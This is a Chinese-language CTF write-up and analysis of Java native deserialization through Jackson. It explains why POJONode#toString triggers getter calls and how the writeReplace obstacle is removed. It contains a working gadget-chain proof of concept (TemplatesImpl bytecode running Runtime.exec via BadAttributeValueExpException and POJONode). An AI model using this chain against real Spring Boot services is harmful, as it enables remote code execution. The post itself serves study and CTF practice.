2024-04-22

POJONode#toString调用getter方法原理

前言

前面说到了在fastjson中的原生的一个反序列化调用任意类的getter方法的原理与细节

从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject调用JSONObject#toString / JSONArray#toString方法也即是JSON#toString方法触发getter

再到fastjson >= 1.2.48下的存在有SecureObjectInputStream的安全检查的情况下，通过使用HashMap等等类创建一个reference的方式绕过resolveClass的检查触发getter

既然在fastjson中存在有这样的原生反序列化，在另一个和他功能类似的开源库jackson也有着类似的原生反序列化触发getter方法

Jackson的知识点

简单的认识一下Jackson的序列化触发getter的流程

在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法

使用这个方法的过程中将会调用getter方法

大致的调用栈如下

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

提及几个关键的方法

1	DefaultSerializerProvider#serializeValue:

通过findTypedValueSerializer来从缓存中获取对应的序列化器，如果没有将会创建一个序列化器并写入缓存中，这里传入的是一个POJO对象，所以得到的是一个BeanSerializer类来到BeanSerializer#serialize进行json串的构造

首先是调用writeStartObject方法写入{ 字符，之后中间是对Bean对象的属性值的一些构造，最后是调用writeEndObject方法写入}字符

而在BeanSerializerBase#serializeFields方法中

主要是对Bean类中的所有属性值的写入

而最后是能够调用对应属性值的getter方法进行赋值

例题

这里同样是通过一道CTF的题目来引入jackson中的原生反序列化

题目附件：https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/bypassit1

这里只有一个controller:

就直接是获取了请求体的序列化数据进行反序列化，没有任何的过滤

而在pom.xml中查看依赖，除了存在有spring-boot-starter-web:2.6.11之外没有任何依赖

而这里的关键点jackson相较于fastjson的优势就是与springboot紧密结合，所以jackson这个依赖是存在这个spring-boot-starter-web依赖中的

根据前面的知识点，我们需要构造BadAttributeValueExpException#readObject -> POJONode#toString -> getter的链子

至于为什么要选择使用POJONode类来进行getter方法的触发在后面将会详细的描述

POC：

lassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("java.lang.Runtime.getRuntime().exec("calc");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xx");
//        setValue(templates, "_tfactory", null);
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(val);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        Object o = (Object)ois.readObject();

这里有点小坑，如果直接执行上面的POC，在序列化过程中将会出现错误：

根据报错定位到ObjectOuptputStream#writeObject0中

如果序列化的类实现了writeReplace方法，将会在序列化过程中调用它进行检查，好巧不巧，在POJONode的父类BaseJsonNode中就实现了这个方法，在这个方法的调用过程中抛出了异常，使得序列化过程中断

我们可以通过删除这个方法来跳过这个过程，进而成功的序列化

之后POC就能打通，后面的过程就很简单了

getter方法的调用

在前面的过程中，留下了一个问题，也就是为什么POJONode类的toString方法能够调用对应类对象的getter方法呢？

POJONode中不存在有toString方法的实现，在其父类BaseJsonNode中存在有，因其为一个抽象类，所以选择使用POJONode这个没有实现toString方法的类进行利用

依次调用了toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString方法

最关键的就是最后一个方法的调用了，在最前的Jackson的知识点中，提到了在将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString方法，并详细分析了，在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

这里也是getter方法调用的成因

Other Gadgets

除了使用POJONode类的方式还存在其他的利用链吗？如果BadAttributeValueExpException等可以触发toString方法的类被Ban了，还有会利用的可能型吗？谈谈第一个问题：

按照理论来说只需要寻找到继承BaseJsonNode的类，并且没有重写toSting方法，就能够替代POJONode类

但是看了下他的实现类

几乎是与数据类型相关的，除了POJONode类我没有发现可以存放Object并序列化的类

有或者是找到在jackson中存在有writeValueAsString方法的调用的类